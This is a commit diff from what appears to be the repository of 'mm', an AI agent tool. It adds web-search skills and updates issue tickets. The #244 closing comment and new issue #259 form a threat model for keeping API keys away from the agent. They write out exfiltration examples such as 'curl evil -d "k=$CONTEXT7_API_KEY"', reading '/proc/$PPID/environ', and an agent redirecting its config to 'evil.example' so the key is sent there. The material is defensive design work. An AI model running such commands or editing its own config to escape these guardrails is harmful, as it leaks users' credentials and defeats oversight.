✨ search skills (#69): demos/qwen-search searches the web with skills, no MCP server
- demos/qwen-search: three skills on fetch_content only — web-search and news-roundup (DuckDuckGo Lite), wasm-knowledge (a catalogue of 12 trusted WebAssembly pages, Wikipedia included); agent tuned (no ask_user, prompt naming the skills); README EN+FR with measures (Qwen3.5 2B and 4B) - fetch_content: DuckDuckGo result redirects (duckduckgo.com/l/?uddg=) are turned into the target address (internal/webmd unwrapRedirect + test; tools reference EN+FR) - tickets: #244 closed (conclusions), #259 filed (secrets outside the environment), epic Prompts with #253 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
3a7d21d parent: 8142573 modified
.tickets/epics.yaml +4 -0 | @@ -88,3 +88,7 @@ epics: | ||
| 88 | 88 | state: open |
| 89 | 89 | color: "#1d76db" |
| 90 | 90 | description: mm and the Agent2Agent protocol (A2A) — serving an mm agent to other agents, and/or calling remote A2A agents from mm |
| 91 | + - title: Prompts | |
| 92 | + state: open | |
| 93 | + color: "#c5def5" | |
| 94 | + description: What mm builds for the model to read — the system prompt and its variables, AGENTS.md, the turn reminder, the notes it adds | |
| @@ -88,3 +88,7 @@ epics: | |||
| 88 | state: open | 88 | state: open |
| 89 | color: "#1d76db" | 89 | color: "#1d76db" |
| 90 | description: mm and the Agent2Agent protocol (A2A) — serving an mm agent to other agents, and/or calling remote A2A agents from mm | 90 | description: mm and the Agent2Agent protocol (A2A) — serving an mm agent to other agents, and/or calling remote A2A agents from mm |
| 91 | + - title: Prompts | ||
| 92 | + state: open | ||
| 93 | + color: "#c5def5" | ||
| 94 | + description: What mm builds for the model to read — the system prompt and its variables, AGENTS.md, the turn reminder, the notes it adds | ||
modified
.tickets/issues/0069-create-mini-me-skills-to-search-some-specific-kn.yaml +36 -3 | @@ -1,12 +1,12 @@ | ||
| 1 | 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. |
| 2 | 2 | id: 69 |
| 3 | 3 | title: Create mini me skills to search some specific knowlege on internet |
| 4 | -state: open | |
| 4 | +state: closed | |
| 5 | 5 | author: |
| 6 | 6 | name: k33g |
| 7 | 7 | email: ph.charriere@gmail.com |
| 8 | 8 | createdAt: 2026-10-02T09:26:19.729Z |
| 9 | -updatedAt: 2026-11-20T07:32:59.000Z | |
| 9 | +updatedAt: 2026-11-24T21:51:15.000Z | |
| 10 | 10 | labels: [] |
| 11 | 11 | milestone: v2.0.1 |
| 12 | 12 | epic: Search |
| @@ -17,4 +17,37 @@ body: | | ||
| 17 | 17 | |
| 18 | 18 | Avec le même modele je voudrais faire la même chose dans ./demos/news-roundup-skill avec une skill au lieu d'utiliser un serveur MCP |
| 19 | 19 | tasks: [] |
| 20 | -comments: [] | |
| 20 | +comments: | |
| 21 | + - id: 1 | |
| 22 | + author: | |
| 23 | + name: k33g | |
| 24 | + email: ph.charriere@gmail.com | |
| 25 | + createdAt: 2026-11-24T21:32:46.000Z | |
| 26 | + body: | | |
| 27 | + Implemented on branch `feature/search-skills` (not committed), in | |
| 28 | + `demos/qwen-search` (the user's agent, written by mm init) instead of a | |
| 29 | + new `news-roundup-skill` folder, at the user's request. | |
| 30 | + - Three skills, `fetch_content` only (no MCP, no bash): | |
| 31 | + `web-search` and `news-roundup` (DuckDuckGo Lite, | |
| 32 | + `https://lite.duckduckgo.com/lite/?q=WORDS`, `tables: flatten`), and | |
| 33 | + `wasm-knowledge`: a catalogue of 12 trusted WebAssembly pages | |
| 34 | + (Wikipedia FR/EN, MDN, webassembly.org, spec, wasi.dev…) written in the | |
| 35 | + skill — the model picks, reads and cites (user's request mid-task). | |
| 36 | + - mm change: `fetch_content` unwraps DuckDuckGo's result redirects | |
| 37 | + (`internal/webmd` `unwrapRedirect` + test; tools reference EN+FR). | |
| 38 | + - Agent tuning: `askUserTool: false`, system prompt naming when to load | |
| 39 | + each skill; skills written one paragraph per line (user). | |
| 40 | + - Measured live (sandbox, llama.cpp 12359): Qwen3.5 4B — every case | |
| 41 | + loads the right skill and cites only pages it read; Qwen3.5 2B — | |
| 42 | + reliable for the press review only (invents URLs otherwise). README | |
| 43 | + EN+FR recommend the 4B; the demo file still names the 2B (the user's | |
| 44 | + choice). | |
| 45 | + - Limit: DuckDuckGo Lite returns pages, not dated articles (news.js needs | |
| 46 | + a token a skill cannot get). | |
| 47 | + - id: 2 | |
| 48 | + author: | |
| 49 | + name: k33g | |
| 50 | + email: ph.charriere@gmail.com | |
| 51 | + createdAt: 2026-11-24T21:51:15.000Z | |
| 52 | + body: | | |
| 53 | + Tested by the user; merged into `main`. | |
| @@ -1,12 +1,12 @@ | |||
| 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. | 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. |
| 2 | id: 69 | 2 | id: 69 |
| 3 | title: Create mini me skills to search some specific knowlege on internet | 3 | title: Create mini me skills to search some specific knowlege on internet |
| 4 | -state: open | 4 | +state: closed |
| 5 | author: | 5 | author: |
| 6 | name: k33g | 6 | name: k33g |
| 7 | email: ph.charriere@gmail.com | 7 | email: ph.charriere@gmail.com |
| 8 | createdAt: 2026-10-02T09:26:19.729Z | 8 | createdAt: 2026-10-02T09:26:19.729Z |
| 9 | -updatedAt: 2026-11-20T07:32:59.000Z | 9 | +updatedAt: 2026-11-24T21:51:15.000Z |
| 10 | labels: [] | 10 | labels: [] |
| 11 | milestone: v2.0.1 | 11 | milestone: v2.0.1 |
| 12 | epic: Search | 12 | epic: Search |
| @@ -17,4 +17,37 @@ body: | | |||
| 17 | 17 | ||
| 18 | Avec le même modele je voudrais faire la même chose dans ./demos/news-roundup-skill avec une skill au lieu d'utiliser un serveur MCP | 18 | Avec le même modele je voudrais faire la même chose dans ./demos/news-roundup-skill avec une skill au lieu d'utiliser un serveur MCP |
| 19 | tasks: [] | 19 | tasks: [] |
| 20 | -comments: [] | 20 | +comments: |
| 21 | + - id: 1 | ||
| 22 | + author: | ||
| 23 | + name: k33g | ||
| 24 | + email: ph.charriere@gmail.com | ||
| 25 | + createdAt: 2026-11-24T21:32:46.000Z | ||
| 26 | + body: | | ||
| 27 | + Implemented on branch `feature/search-skills` (not committed), in | ||
| 28 | + `demos/qwen-search` (the user's agent, written by mm init) instead of a | ||
| 29 | + new `news-roundup-skill` folder, at the user's request. | ||
| 30 | + - Three skills, `fetch_content` only (no MCP, no bash): | ||
| 31 | + `web-search` and `news-roundup` (DuckDuckGo Lite, | ||
| 32 | + `https://lite.duckduckgo.com/lite/?q=WORDS`, `tables: flatten`), and | ||
| 33 | + `wasm-knowledge`: a catalogue of 12 trusted WebAssembly pages | ||
| 34 | + (Wikipedia FR/EN, MDN, webassembly.org, spec, wasi.dev…) written in the | ||
| 35 | + skill — the model picks, reads and cites (user's request mid-task). | ||
| 36 | + - mm change: `fetch_content` unwraps DuckDuckGo's result redirects | ||
| 37 | + (`internal/webmd` `unwrapRedirect` + test; tools reference EN+FR). | ||
| 38 | + - Agent tuning: `askUserTool: false`, system prompt naming when to load | ||
| 39 | + each skill; skills written one paragraph per line (user). | ||
| 40 | + - Measured live (sandbox, llama.cpp 12359): Qwen3.5 4B — every case | ||
| 41 | + loads the right skill and cites only pages it read; Qwen3.5 2B — | ||
| 42 | + reliable for the press review only (invents URLs otherwise). README | ||
| 43 | + EN+FR recommend the 4B; the demo file still names the 2B (the user's | ||
| 44 | + choice). | ||
| 45 | + - Limit: DuckDuckGo Lite returns pages, not dated articles (news.js needs | ||
| 46 | + a token a skill cannot get). | ||
| 47 | + - id: 2 | ||
| 48 | + author: | ||
| 49 | + name: k33g | ||
| 50 | + email: ph.charriere@gmail.com | ||
| 51 | + createdAt: 2026-11-24T21:51:15.000Z | ||
| 52 | + body: | | ||
| 53 | + Tested by the user; merged into `main`. | ||
renamed
.tickets/issues/0244-secrets-how-could-mm-protect-them-from-the-model.yaml +39 -4 | similarity index 60% | ||
| rename from .tickets/issues/0244-protect-secrets-from-the-model-and-what-mm-writes.yaml | ||
| rename to .tickets/issues/0244-secrets-how-could-mm-protect-them-from-the-model.yaml | ||
| @@ -1,16 +1,15 @@ | ||
| 1 | 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. |
| 2 | 2 | id: 244 |
| 3 | 3 | title: "Secrets: how could mm protect them (from the model, the history, traces and tool output)?" |
| 4 | -state: open | |
| 4 | +state: closed | |
| 5 | 5 | author: |
| 6 | 6 | name: k33g |
| 7 | 7 | email: ph.charriere@gmail.com |
| 8 | 8 | createdAt: 2026-11-20T14:35:00.000Z |
| 9 | -updatedAt: 2026-11-20T18:10:00.000Z | |
| 9 | +updatedAt: 2026-11-24T20:37:55.298Z | |
| 10 | 10 | labels: |
| 11 | 11 | - question |
| 12 | 12 | - enhancement |
| 13 | -milestone: v2.0.1 | |
| 14 | 13 | epic: Guardrails |
| 15 | 14 | related: |
| 16 | 15 | - 147 |
| @@ -73,4 +72,40 @@ body: | | ||
| 73 | 72 | and an `AKIA…` key reaches the model, the session and the trace redacted. |
| 74 | 73 | - Docs EN + FR. |
| 75 | 74 | tasks: [] |
| 76 | -comments: [] | |
| 75 | +comments: | |
| 76 | + - id: 1 | |
| 77 | + author: | |
| 78 | + name: k33g | |
| 79 | + email: ph.charriere@gmail.com | |
| 80 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 81 | + body: | | |
| 82 | + Closed after discussion (2026-11-24). Conclusions: | |
| 83 | + - **Two threats, two defences.** Leak by *exposure* (the provider, the | |
| 84 | + sessions and traces) → substitution in what the model reads. | |
| 85 | + Leak by *action* (exfiltration: `curl … @.env`, `$TOKEN` in a | |
| 86 | + command) → redaction cannot help: the model never needs to SEE a | |
| 87 | + secret to send it. Only containment holds (network filtered from | |
| 88 | + outside, the secret out of the agent's reach). | |
| 89 | + - **Reversible substitution beats redaction** (as Swival's | |
| 90 | + `--encrypt-secrets`, https://swival.dev/pages/secrets.html): a fake | |
| 91 | + of the same shape in the request, the real value restored in the tool | |
| 92 | + arguments before they run — a model rewriting a `.env` does not | |
| 93 | + destroy it with a `[redacted]` marker. Add what Swival lacks: the | |
| 94 | + literal values of the secrets mm knows (provider key, `tokenEnv`, | |
| 95 | + `apiKeyEnv`, `*_TOKEN`/`*_API_KEY`). No general entropy detection | |
| 96 | + (go.sum, checksums). | |
| 97 | + - **By hooks**: possible except one piece — `postToolCall` can only | |
| 98 | + ADD context, not replace the output (`internal/hooks`); a reply | |
| 99 | + `output` would let a demo hook do the whole substitution (the map | |
| 100 | + in a 0600 file). `@file` mentions bypass `preGeneration`. | |
| 101 | + - **The MCP case (Context7)**: mm already puts the key in the header | |
| 102 | + itself; the leak is bash inheriting mm's environment. → | |
| 103 | + [#259 — Secrets given to mm outside the environment](.tickets/issues/0259-secrets-given-to-mm-outside-the-environment-keych.yaml) | |
| 104 | + (keychain with an ACL on the signed mm, masked prompt, fd; bound to | |
| 105 | + the host; mm's files protected; environment of bash stripped; | |
| 106 | + Windows). | |
| 107 | + - Not ticketed yet (ideas): `postToolCall` replacing the output + a | |
| 108 | + substitution demo hook; built-in reversible substitution; a | |
| 109 | + "tools in a sandbox" mode (mm and its secrets on the host, commands | |
| 110 | + in a container with filtered network); an `[UNTRUSTED EXTERNAL | |
| 111 | + CONTENT]` label on fetch_content and MCP results. | |
| similarity index 60% | |||
| rename from .tickets/issues/0244-protect-secrets-from-the-model-and-what-mm-writes.yaml | |||
| rename to .tickets/issues/0244-secrets-how-could-mm-protect-them-from-the-model.yaml | |||
| @@ -1,16 +1,15 @@ | |||
| 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. | 1 | # Managed by IssueSpec. Hand edits are welcome; keep the schema valid. |
| 2 | id: 244 | 2 | id: 244 |
| 3 | title: "Secrets: how could mm protect them (from the model, the history, traces and tool output)?" | 3 | title: "Secrets: how could mm protect them (from the model, the history, traces and tool output)?" |
| 4 | -state: open | 4 | +state: closed |
| 5 | author: | 5 | author: |
| 6 | name: k33g | 6 | name: k33g |
| 7 | email: ph.charriere@gmail.com | 7 | email: ph.charriere@gmail.com |
| 8 | createdAt: 2026-11-20T14:35:00.000Z | 8 | createdAt: 2026-11-20T14:35:00.000Z |
| 9 | -updatedAt: 2026-11-20T18:10:00.000Z | 9 | +updatedAt: 2026-11-24T20:37:55.298Z |
| 10 | labels: | 10 | labels: |
| 11 | - question | 11 | - question |
| 12 | - enhancement | 12 | - enhancement |
| 13 | -milestone: v2.0.1 | ||
| 14 | epic: Guardrails | 13 | epic: Guardrails |
| 15 | related: | 14 | related: |
| 16 | - 147 | 15 | - 147 |
| @@ -73,4 +72,40 @@ body: | | |||
| 73 | and an `AKIA…` key reaches the model, the session and the trace redacted. | 72 | and an `AKIA…` key reaches the model, the session and the trace redacted. |
| 74 | - Docs EN + FR. | 73 | - Docs EN + FR. |
| 75 | tasks: [] | 74 | tasks: [] |
| 76 | -comments: [] | 75 | +comments: |
| 76 | + - id: 1 | ||
| 77 | + author: | ||
| 78 | + name: k33g | ||
| 79 | + email: ph.charriere@gmail.com | ||
| 80 | + createdAt: 2026-11-24T20:33:14.000Z | ||
| 81 | + body: | | ||
| 82 | + Closed after discussion (2026-11-24). Conclusions: | ||
| 83 | + - **Two threats, two defences.** Leak by *exposure* (the provider, the | ||
| 84 | + sessions and traces) → substitution in what the model reads. | ||
| 85 | + Leak by *action* (exfiltration: `curl … @.env`, `$TOKEN` in a | ||
| 86 | + command) → redaction cannot help: the model never needs to SEE a | ||
| 87 | + secret to send it. Only containment holds (network filtered from | ||
| 88 | + outside, the secret out of the agent's reach). | ||
| 89 | + - **Reversible substitution beats redaction** (as Swival's | ||
| 90 | + `--encrypt-secrets`, https://swival.dev/pages/secrets.html): a fake | ||
| 91 | + of the same shape in the request, the real value restored in the tool | ||
| 92 | + arguments before they run — a model rewriting a `.env` does not | ||
| 93 | + destroy it with a `[redacted]` marker. Add what Swival lacks: the | ||
| 94 | + literal values of the secrets mm knows (provider key, `tokenEnv`, | ||
| 95 | + `apiKeyEnv`, `*_TOKEN`/`*_API_KEY`). No general entropy detection | ||
| 96 | + (go.sum, checksums). | ||
| 97 | + - **By hooks**: possible except one piece — `postToolCall` can only | ||
| 98 | + ADD context, not replace the output (`internal/hooks`); a reply | ||
| 99 | + `output` would let a demo hook do the whole substitution (the map | ||
| 100 | + in a 0600 file). `@file` mentions bypass `preGeneration`. | ||
| 101 | + - **The MCP case (Context7)**: mm already puts the key in the header | ||
| 102 | + itself; the leak is bash inheriting mm's environment. → | ||
| 103 | + [#259 — Secrets given to mm outside the environment](.tickets/issues/0259-secrets-given-to-mm-outside-the-environment-keych.yaml) | ||
| 104 | + (keychain with an ACL on the signed mm, masked prompt, fd; bound to | ||
| 105 | + the host; mm's files protected; environment of bash stripped; | ||
| 106 | + Windows). | ||
| 107 | + - Not ticketed yet (ideas): `postToolCall` replacing the output + a | ||
| 108 | + substitution demo hook; built-in reversible substitution; a | ||
| 109 | + "tools in a sandbox" mode (mm and its secrets on the host, commands | ||
| 110 | + in a container with filtered network); an `[UNTRUSTED EXTERNAL | ||
| 111 | + CONTENT]` label on fetch_content and MCP results. | ||
modified
.tickets/issues/0253-variables-in-the-system-prompt-date-cwd-env-name.yaml +3 -1 | @@ -6,10 +6,12 @@ author: | ||
| 6 | 6 | name: k33g |
| 7 | 7 | email: ph.charriere@gmail.com |
| 8 | 8 | createdAt: 2026-11-24T05:59:01.000Z |
| 9 | -updatedAt: 2026-11-24T05:59:01.000Z | |
| 9 | +updatedAt: 2026-11-24T20:40:18.000Z | |
| 10 | 10 | labels: |
| 11 | 11 | - enhancement |
| 12 | 12 | - kind::feature |
| 13 | +milestone: v2.0.1 | |
| 14 | +epic: Prompts | |
| 13 | 15 | related: |
| 14 | 16 | - 244 |
| 15 | 17 | body: | |
| @@ -6,10 +6,12 @@ author: | |||
| 6 | name: k33g | 6 | name: k33g |
| 7 | email: ph.charriere@gmail.com | 7 | email: ph.charriere@gmail.com |
| 8 | createdAt: 2026-11-24T05:59:01.000Z | 8 | createdAt: 2026-11-24T05:59:01.000Z |
| 9 | -updatedAt: 2026-11-24T05:59:01.000Z | 9 | +updatedAt: 2026-11-24T20:40:18.000Z |
| 10 | labels: | 10 | labels: |
| 11 | - enhancement | 11 | - enhancement |
| 12 | - kind::feature | 12 | - kind::feature |
| 13 | +milestone: v2.0.1 | ||
| 14 | +epic: Prompts | ||
| 13 | related: | 15 | related: |
| 14 | - 244 | 16 | - 244 |
| 15 | body: | | 17 | body: | |
added
.tickets/issues/0259-secrets-given-to-mm-outside-the-environment-keych.yaml +150 -0 | new file mode 100644 | ||
| @@ -0,0 +1,150 @@ | ||
| 1 | +# Managed by IssueSpec. Hand edits are welcome; keep the schema valid. | |
| 2 | +id: 259 | |
| 3 | +title: "Secrets given to mm outside the environment (keychain, masked prompt, fd), bound to their host" | |
| 4 | +state: open | |
| 5 | +author: | |
| 6 | + name: k33g | |
| 7 | + email: ph.charriere@gmail.com | |
| 8 | +createdAt: 2026-11-24T20:33:14.000Z | |
| 9 | +updatedAt: 2026-11-24T20:33:14.000Z | |
| 10 | +labels: | |
| 11 | + - enhancement | |
| 12 | + - kind::feature | |
| 13 | +epic: Guardrails | |
| 14 | +related: | |
| 15 | + - 244 | |
| 16 | +body: | | |
| 17 | + Follow-up of [#244 — Secrets: how could mm protect them](.tickets/issues/0244-secrets-how-could-mm-protect-them-from-the-model.yaml). | |
| 18 | + | |
| 19 | + ## Problem (user, 2026-11-24) | |
| 20 | + An agent uses Context7 over MCP. The model must NEVER be able to read | |
| 21 | + `CONTEXT7_API_KEY`, yet the MCP calls must still reach the server with it. | |
| 22 | + Same need for any secret mm sends over HTTP (an API key in a header). | |
| 23 | + | |
| 24 | + ## What mm does today | |
| 25 | + - mm itself puts the key in the request header (`internal/mcp/http_wire.go`, | |
| 26 | + `addAuthHeaders`: `auth.tokenEnv` / `auth.apiKeyEnv`): the value is in | |
| 27 | + no prompt, no tool argument or result, no session, no trace (traces skip | |
| 28 | + the headers). | |
| 29 | + - **But the key lives in mm's environment**, and the bash tool inherits it | |
| 30 | + (`internal/tools/tools.go`: `exec.CommandContext` with no `cmd.Env`): | |
| 31 | + `echo $CONTEXT7_API_KEY`, `printenv` read it; `cat /proc/$PPID/environ` | |
| 32 | + (Linux) or `ps eww` (macOS) read mm's original environment even if mm | |
| 33 | + cleaned its own. And `curl evil -d "k=$CONTEXT7_API_KEY"` sends it away | |
| 34 | + without the model ever seeing it. | |
| 35 | + | |
| 36 | + ## Proposal: the secret never enters an environment | |
| 37 | + 1. **Sources** (a config value such as `auth.token: keychain:context7` | |
| 38 | + instead of `tokenEnv`): | |
| 39 | + - **macOS Keychain**, item whose access list trusts the signed `mm` | |
| 40 | + binary only: a `security find-generic-password` run by the agent | |
| 41 | + gets a dialog the user refuses. The only no-typing option that holds | |
| 42 | + against a same-user command. | |
| 43 | + - **masked prompt** at start-up (`CONTEXT7_API_KEY:`, no echo), value | |
| 44 | + kept in memory only — not for `-p` in scripts nor ACP without a | |
| 45 | + terminal. | |
| 46 | + - **file descriptor** given by the user: `mm --secret context7=fd:3 | |
| 47 | + 3< <(op read op://…)` — nothing in the environment nor on disk (but | |
| 48 | + if the agent can run `op read` itself, nothing is gained). | |
| 49 | + - Not: a plain file, or a command mm runs (`tokenCommand`) — whatever | |
| 50 | + mm can read or run, bash can too. | |
| 51 | + 2. **Bound to its host**: the secret entry names the host it is for | |
| 52 | + (`mcp.context7.com`); mm refuses to send it anywhere else. Otherwise the | |
| 53 | + agent edits `.mm/agent.yaml` (`url: https://evil.example/mcp`) and mm | |
| 54 | + itself sends the key there at the next start. | |
| 55 | + 3. **mm's own files protected**: `write_file` / `edit_file` refuse | |
| 56 | + `.mm/agent.yaml` and the hook files (bash `sed -i` can still do it — | |
| 57 | + hence 2). | |
| 58 | + 4. **Sub-processes**: hooks, language servers and the bash tool never get | |
| 59 | + the secret; a stdio MCP server that needs it gets it in ITS environment | |
| 60 | + only (a process the agent does not control). | |
| 61 | + 5. Also, for the secrets still given through the environment: remove the | |
| 62 | + variables mm uses (`tokenEnv`, `apiKeyEnv`, the provider's key) from | |
| 63 | + the environment of bash and of the tools it starts; an allow list for a | |
| 64 | + variable a command really needs (`GH_TOKEN` for `gh`). | |
| 65 | + | |
| 66 | + ## Memory of mm | |
| 67 | + Reading it means attaching like a debugger: | |
| 68 | + - macOS: the release binary is signed with `macos-entitlements.plist` | |
| 69 | + (only `allow-unsigned-executable-memory`, no `get-task-allow`): | |
| 70 | + no other process attaches. | |
| 71 | + - Linux: depends on `/proc/sys/kernel/yama/ptrace_scope` — 1 (Ubuntu's | |
| 72 | + default) forbids a child tracing its parent; 0 allows it. | |
| 73 | + | |
| 74 | + ## Windows (to measure — weaker by default) | |
| 75 | + - **Credential Manager** (`CredRead`, DPAPI) is per USER, not per | |
| 76 | + application: any process of the user, the agent's commands included, | |
| 77 | + can read the credential. Convenient storage, no protection by itself. | |
| 78 | + - Same user can also read another process's memory and environment | |
| 79 | + (`OpenProcess` + `ReadProcessMemory`) unless something stops it. | |
| 80 | + - What could: run the agent's commands at **Low integrity** (a restricted | |
| 81 | + token): process objects carry a no-read-up label, so a Low process | |
| 82 | + should not open mm (Medium) for reading, nor (to check) read the | |
| 83 | + credential vault. But a Low process cannot write the user's files | |
| 84 | + either: the project folder would need a Low label | |
| 85 | + (`icacls <dir> /setintegritylevel (OI)(CI)low`). Or an **AppContainer**. | |
| 86 | + - The sure way, as on the other systems: the commands in a separate | |
| 87 | + boundary — WSL/Docker container, Windows Sandbox, another user. | |
| 88 | + - Masked prompt and fd work on Windows as elsewhere. | |
| 89 | + | |
| 90 | + ## Acceptance criteria | |
| 91 | + - macOS: `auth.token: keychain:<name>`; the agent's | |
| 92 | + `security find-generic-password` gets no value without the user's | |
| 93 | + consent; the MCP call carries the key. | |
| 94 | + - Masked prompt works in the line mode and the window. | |
| 95 | + - A secret bound to a host is never sent to another one (test: URL | |
| 96 | + changed in the config → refused, clear error). | |
| 97 | + - bash / hooks / tools: `printenv` shows none of mm's secrets. | |
| 98 | + - Windows: measured and documented (what holds, what does not). | |
| 99 | + - Docs EN+FR (configuration auth, a how-to "keep an API key away from the | |
| 100 | + agent"). | |
| 101 | +tasks: | |
| 102 | + - id: 1 | |
| 103 | + title: Strip the secrets mm uses from the environment of bash, hooks and tools (allow list) | |
| 104 | + state: open | |
| 105 | + priority: high | |
| 106 | + author: | |
| 107 | + name: k33g | |
| 108 | + email: ph.charriere@gmail.com | |
| 109 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 110 | + - id: 2 | |
| 111 | + title: "auth.token sources: keychain (macOS, ACL = signed mm), masked prompt, fd" | |
| 112 | + state: open | |
| 113 | + priority: high | |
| 114 | + author: | |
| 115 | + name: k33g | |
| 116 | + email: ph.charriere@gmail.com | |
| 117 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 118 | + - id: 3 | |
| 119 | + title: Bind a secret to its host; refuse to send it elsewhere | |
| 120 | + state: open | |
| 121 | + priority: high | |
| 122 | + author: | |
| 123 | + name: k33g | |
| 124 | + email: ph.charriere@gmail.com | |
| 125 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 126 | + - id: 4 | |
| 127 | + title: Protect mm's own files (agent.yaml, hooks) from write_file / edit_file | |
| 128 | + state: open | |
| 129 | + priority: medium | |
| 130 | + author: | |
| 131 | + name: k33g | |
| 132 | + email: ph.charriere@gmail.com | |
| 133 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 134 | + - id: 5 | |
| 135 | + title: Windows - measure Credential Manager, Low integrity / AppContainer for commands | |
| 136 | + state: open | |
| 137 | + priority: medium | |
| 138 | + author: | |
| 139 | + name: k33g | |
| 140 | + email: ph.charriere@gmail.com | |
| 141 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 142 | + - id: 6 | |
| 143 | + title: Tests and docs EN+FR (how-to keep an API key away from the agent) | |
| 144 | + state: open | |
| 145 | + priority: none | |
| 146 | + author: | |
| 147 | + name: k33g | |
| 148 | + email: ph.charriere@gmail.com | |
| 149 | + createdAt: 2026-11-24T20:33:14.000Z | |
| 150 | +comments: [] | |
| new file mode 100644 | |||
| @@ -0,0 +1,150 @@ | |||
| 1 | +# Managed by IssueSpec. Hand edits are welcome; keep the schema valid. | ||
| 2 | +id: 259 | ||
| 3 | +title: "Secrets given to mm outside the environment (keychain, masked prompt, fd), bound to their host" | ||
| 4 | +state: open | ||
| 5 | +author: | ||
| 6 | + name: k33g | ||
| 7 | + email: ph.charriere@gmail.com | ||
| 8 | +createdAt: 2026-11-24T20:33:14.000Z | ||
| 9 | +updatedAt: 2026-11-24T20:33:14.000Z | ||
| 10 | +labels: | ||
| 11 | + - enhancement | ||
| 12 | + - kind::feature | ||
| 13 | +epic: Guardrails | ||
| 14 | +related: | ||
| 15 | + - 244 | ||
| 16 | +body: | | ||
| 17 | + Follow-up of [#244 — Secrets: how could mm protect them](.tickets/issues/0244-secrets-how-could-mm-protect-them-from-the-model.yaml). | ||
| 18 | + | ||
| 19 | + ## Problem (user, 2026-11-24) | ||
| 20 | + An agent uses Context7 over MCP. The model must NEVER be able to read | ||
| 21 | + `CONTEXT7_API_KEY`, yet the MCP calls must still reach the server with it. | ||
| 22 | + Same need for any secret mm sends over HTTP (an API key in a header). | ||
| 23 | + | ||
| 24 | + ## What mm does today | ||
| 25 | + - mm itself puts the key in the request header (`internal/mcp/http_wire.go`, | ||
| 26 | + `addAuthHeaders`: `auth.tokenEnv` / `auth.apiKeyEnv`): the value is in | ||
| 27 | + no prompt, no tool argument or result, no session, no trace (traces skip | ||
| 28 | + the headers). | ||
| 29 | + - **But the key lives in mm's environment**, and the bash tool inherits it | ||
| 30 | + (`internal/tools/tools.go`: `exec.CommandContext` with no `cmd.Env`): | ||
| 31 | + `echo $CONTEXT7_API_KEY`, `printenv` read it; `cat /proc/$PPID/environ` | ||
| 32 | + (Linux) or `ps eww` (macOS) read mm's original environment even if mm | ||
| 33 | + cleaned its own. And `curl evil -d "k=$CONTEXT7_API_KEY"` sends it away | ||
| 34 | + without the model ever seeing it. | ||
| 35 | + | ||
| 36 | + ## Proposal: the secret never enters an environment | ||
| 37 | + 1. **Sources** (a config value such as `auth.token: keychain:context7` | ||
| 38 | + instead of `tokenEnv`): | ||
| 39 | + - **macOS Keychain**, item whose access list trusts the signed `mm` | ||
| 40 | + binary only: a `security find-generic-password` run by the agent | ||
| 41 | + gets a dialog the user refuses. The only no-typing option that holds | ||
| 42 | + against a same-user command. | ||
| 43 | + - **masked prompt** at start-up (`CONTEXT7_API_KEY:`, no echo), value | ||
| 44 | + kept in memory only — not for `-p` in scripts nor ACP without a | ||
| 45 | + terminal. | ||
| 46 | + - **file descriptor** given by the user: `mm --secret context7=fd:3 | ||
| 47 | + 3< <(op read op://…)` — nothing in the environment nor on disk (but | ||
| 48 | + if the agent can run `op read` itself, nothing is gained). | ||
| 49 | + - Not: a plain file, or a command mm runs (`tokenCommand`) — whatever | ||
| 50 | + mm can read or run, bash can too. | ||
| 51 | + 2. **Bound to its host**: the secret entry names the host it is for | ||
| 52 | + (`mcp.context7.com`); mm refuses to send it anywhere else. Otherwise the | ||
| 53 | + agent edits `.mm/agent.yaml` (`url: https://evil.example/mcp`) and mm | ||
| 54 | + itself sends the key there at the next start. | ||
| 55 | + 3. **mm's own files protected**: `write_file` / `edit_file` refuse | ||
| 56 | + `.mm/agent.yaml` and the hook files (bash `sed -i` can still do it — | ||
| 57 | + hence 2). | ||
| 58 | + 4. **Sub-processes**: hooks, language servers and the bash tool never get | ||
| 59 | + the secret; a stdio MCP server that needs it gets it in ITS environment | ||
| 60 | + only (a process the agent does not control). | ||
| 61 | + 5. Also, for the secrets still given through the environment: remove the | ||
| 62 | + variables mm uses (`tokenEnv`, `apiKeyEnv`, the provider's key) from | ||
| 63 | + the environment of bash and of the tools it starts; an allow list for a | ||
| 64 | + variable a command really needs (`GH_TOKEN` for `gh`). | ||
| 65 | + | ||
| 66 | + ## Memory of mm | ||
| 67 | + Reading it means attaching like a debugger: | ||
| 68 | + - macOS: the release binary is signed with `macos-entitlements.plist` | ||
| 69 | + (only `allow-unsigned-executable-memory`, no `get-task-allow`): | ||
| 70 | + no other process attaches. | ||
| 71 | + - Linux: depends on `/proc/sys/kernel/yama/ptrace_scope` — 1 (Ubuntu's | ||
| 72 | + default) forbids a child tracing its parent; 0 allows it. | ||
| 73 | + | ||
| 74 | + ## Windows (to measure — weaker by default) | ||
| 75 | + - **Credential Manager** (`CredRead`, DPAPI) is per USER, not per | ||
| 76 | + application: any process of the user, the agent's commands included, | ||
| 77 | + can read the credential. Convenient storage, no protection by itself. | ||
| 78 | + - Same user can also read another process's memory and environment | ||
| 79 | + (`OpenProcess` + `ReadProcessMemory`) unless something stops it. | ||
| 80 | + - What could: run the agent's commands at **Low integrity** (a restricted | ||
| 81 | + token): process objects carry a no-read-up label, so a Low process | ||
| 82 | + should not open mm (Medium) for reading, nor (to check) read the | ||
| 83 | + credential vault. But a Low process cannot write the user's files | ||
| 84 | + either: the project folder would need a Low label | ||
| 85 | + (`icacls <dir> /setintegritylevel (OI)(CI)low`). Or an **AppContainer**. | ||
| 86 | + - The sure way, as on the other systems: the commands in a separate | ||
| 87 | + boundary — WSL/Docker container, Windows Sandbox, another user. | ||
| 88 | + - Masked prompt and fd work on Windows as elsewhere. | ||
| 89 | + | ||
| 90 | + ## Acceptance criteria | ||
| 91 | + - macOS: `auth.token: keychain:<name>`; the agent's | ||
| 92 | + `security find-generic-password` gets no value without the user's | ||
| 93 | + consent; the MCP call carries the key. | ||
| 94 | + - Masked prompt works in the line mode and the window. | ||
| 95 | + - A secret bound to a host is never sent to another one (test: URL | ||
